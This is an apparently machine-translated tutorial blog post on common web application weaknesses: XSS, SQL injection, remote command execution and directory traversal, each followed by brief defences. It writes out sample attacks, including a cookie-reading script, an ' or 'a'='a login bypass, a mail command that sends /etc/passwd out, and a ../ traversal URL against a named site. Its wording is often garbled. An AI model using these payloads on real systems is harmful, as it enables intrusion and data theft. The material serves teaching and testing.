Web Security Testing

Common Web Application Security issues

after two articles ("The hierarchical relationship between Web security issues" and "the nature of Web application Security issues"), the macro introduction of the concept of web security and Web application security, I believe we have some sense. From today onwards, I will continue to introduce common Web application security issues.
The security issues of Web applications are divided by the situation they exist, and there are a variety of things that are not intended to be introduced here, but are only common, common, and somewhat common levels. I believe that from the perspective of Web application security, you will be more comprehensive than the Internet search. The following is a list of these security issues:

1. Cross-site scripting attacks (CSS or XSS, crosses site Scripting)
2. SQL injection attack (SQL injection)
3, Remote command Execution (code execution, personally think translated into code execution is not accurate)
4. Directory traversal (Directory traversal)
5, file contains (Files inclusion)
6. Scripting code exposure (script source code disclosure)
7. Additional carriage return feed for HTTP request header (CRLF injection/http response splitting)
8. Cross Frame Scripting Attack (crosses frame Scripting)
9, PHP code injection (PHP injection)
10. XPath Injection
11. Cookie tampering (Cookie manipulation)
12. URL redirection (URL redirection)
13, Blind Sql/xpath injection for numeric/string inputs
14, Google Hacking

Let's take a look at their concept for time and space reasons, this article only introduces the first to the second, which will be described in the following articles:

  Cross-site scripting attacks (CSS or XSS)
2006 Global Cybersecurity Vulnerability Top10 ranking, it topped the list! Why does it have such a big influence? I think there are three reasons: one, the difficulty of attacking is small. Both technology and the cost of implementing the attack are relatively easy; second, its existence of the carrier (browser) is extremely widely used, its third, the technology it relies on is widely used and supported (Javascript,vb Script, Html,activex, Flash). So much has been said, what is it exactly?
XSS is a form of attack that exists in a web app that allows hackers to inject malicious script into a web app as an end user to fool other users or get other users ' important data and private information. The technologies that XSS can use are JavaScript, VBScript, ActiveX,  , or Flash, and are typically injected into a web app through a page form submission and eventually executed in the user's browser client. For example, a forum that is not designed and implemented securely, when you enter such code in the body of the Keep abreast:
<script>alert ( Document.cookie); </script>
When other users browse, a warning box pops up, displaying the current cookie string of the browser. Imagine if we inject not the simple test code above, but a often well-designed malicious script, when users browse this post, the cookie information can be successfully obtained by the attacker. At this point the user's account is easily controlled by the attacker. Speaking of this, some beginners may not be very clear about its harm in the end where, do not worry, I will in the following article in detail to introduce you about the "Web working principle" content, you will be very clear to understand these. Examples, methods and methods of attack on XSS are varied, and your scripting skills, along with your security knowledge, determine the depth of your understanding. By the way: You may not be an attack expert on XSS security weaknesses, but you can be a security testing expert. Because from a security point of view, you don't need to prove the seriousness of the problem, you just have to prove that the problem exists.

A brief solution (and so on when the Web works part is finished):
Regardless of which of the above technologies to achieve the XSS attack, the end can not be separated from two points: one is the browser parsing, the other is the script syntax, the third is the script needs a certain length. For the browser parsing is a cinch, I can not because of the existence of these types of problems to rewrite the browser so that it does not support script parsing. So, what can be done is to control the syntax elements of script injection. For example: JavaScript can not do without: "<", ">", "(", ")", ";" ... And so on, so we just need to filter or escape the input or output. In general, we will use the escaped way to handle, the escape character will be used to the original HTML code (the Web working principle will be introduced), because the original code can be directly recognized by the browser, so it is very convenient to use. Allowing a string length limit that can be entered can also control script injection to some extent. For example: The name of the page form, I can only allow you to enter 5 characters, do you have a way to do JavaScript script injection? Obviously not. It is also important to note that the filtering, detection, throttling, and so on, which I have described here, must be done at the end of the Web server, rather than using the client's JavaScript or VBScript ... To do a simple check. Because real attackers do not rely solely on browsers to attack, but more often with the help of third-party tools, you can simply bypass your carefully crafted client JavaScript to filter, detect or restrict the means.

SQL injection attacks (SQL injection)
As early as more than 10 years ago, database-based Web applications just became prevalent, almost all developers ignored the SQL injection weaknesses, resulting in the vast majority of the site at that time the login entry is not a fake! Why is it? First give a small example, if the following SQL code is used in the site login entry into the execution of user authentication query code:
SELECT COUNT (*)
From users_list_table
WHERE username= ' username '
and password= ' password '
The above username is the username we provide when we log in, and password is the password we provide when we log in. When the user enters the correct user name and password, the execution result of this statement will be true (true), otherwise false (false), of course, we believe that the authentication passed, for the false when the authentication failed, that is, illegal login. Imagine if I entered the user name and password when entering the following content:
User name: A ' or ' a ' = ' a
Password: A ' or ' a ' = ' a
Substituting the username and password input values into the SQL script above results in the following:
SELECT count (*)
From users
WHERE username= ' A ' or ' a ' = ' a '
and password= ' a ' or ' a ' = ' a '
Believe that a little bit of the SQL statement people know that the execution of this statement is always true! At this point you do not need to have an account, the direct login success! The depth of your understanding of this vulnerability also depends on your skills and web security knowledge capabilities for SQL statements. An attacker with good skills could exploit this vulnerability to obtain the structure of a background db and step through the information of the DB.
To summarize: SQL injection weaknesses are in the presence of database-based Web applications where hackers use carefully organized SQL statements to inject Web applications through web interfaces (often referred to as forms of our web pages) to gain access and access to backend db as a security vulnerability.

Short-Answer solution:
Just introduced the XSS, here about SQL injection I think there is no need to say, are filtering, legality check and length limit and other common methods.
Have you noticed that XSS and SQL injection, although the names are different, but they all seem to belong to my previous article, "Understanding the nature of web security issues," the first part, that is, input/output validation. The remote command execution , directory Traversal , and file inclusion that will be described below are also input/output validation issues.

Remote command Execution (code execution)

Without explaining its concept first, let's assume that a user uses the scenario:

There is a site for the management portal function is very powerful, to what extent? You can restart the Web server. Can you figure out how it's achieved? We know that either PHP or JSP, we can call the system (Linux or Windows) commands from the server through the shell, and then return the execution results to the client after the command executes. In fact, we manage various services on the server side through the management portal of the Web page through similar channels. What's the problem here? For example we want to restart Apache, if the system is done by this command:/$path/./apche-restart. The $path here is the Web application's baseline path (for example, DocumentRoot on Apache), which is implemented by sending a command string to the Web Server,web via the user's browser client: The server executes the passed command by invoking the shell. Imagine, if I was forced by the browser client to send a: Restart, shutdown and other commands to the server, the result will be what it looks like? It's just a small destructive effect, if I teleport one: Mail [email protected] </etc/passwd, what is the result of the execution? The result is a Linux system passwd file (Linux system user information) sent to the specified mailbox [ Email protected] . Isn't it scary? This is a small, typical example of a remote command execution vulnerability. As far as its far-reaching security concerns are concerned, you need more basic knowledge to be able to understand and apply (for example: Web server OS, Web Service-apache/weblogic/tomcat ...). Related usage skills).

To summarize: A remote command execution vulnerability typically occurs when a web system allows a user to access and administer a Web server through a Web application interface without rigorous input validation and filtering in the case of a Web application security vulnerability.
Short-Answer solution:
1. Strictly restrict the user right to run the Web service. This means that your Web app can access the user rights of your server system. As a general rule, we should use a whitelist to set the permissions that Web applications can access to the server system. This control can be achieved from the system level of security protection effect.
2, strict implementation of user input legality check. Note that the input here is not necessarily that you enter from the keyboard through the form, often the Web application has already been designated some operation for you to choose, and at this time you can get the HTTP packet by the HTTP request packet is modified and re-sent. For a detailed understanding of this section, please follow the principles of the HTTP protocol in the "Principles of Web work" part of my future introduction.

Directory Traversal (Directory traversal)
Some friends should know before I in my blog published a security vulnerability on the ah163.net, high security level: extremely dangerous, because I did not publish details, everyone is more curious to know what is. With respect to the peers, I removed the vulnerability announcement column. I have informed Ah163.net's peers that they have fix that problem. Today we will talk about this loophole.
Love.ah163.net on the network hard disk service, when registered users log in and open the network hard disk service, you can enter their own hard disk Management interface, we look at how it enters a directory, the following is the URL into a directory:
Http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder
Now I'm going to modify this URL:
http://love.ah163.net/Personal_Spaces_List.php?dir=../../../../../../../../../../../../../usr/local/apache/conf/
What is the result of running it in a browser? The result is:/usr/local/apache/conf/ All the files are honestly listed, in this way, you can play your imagination, the server is not all the things can be listed almost? Tell you, you can also download it casually! Network hard disk, is used to upload the download, so it provides a complete function, destructive is very strong. As to the harm of it, you want to go, I will not alarmist.
Short-Answer solution:
1. Also restricts the Web application from running on the server
2, strict input verification, control user input illegal path　

Web Security Testing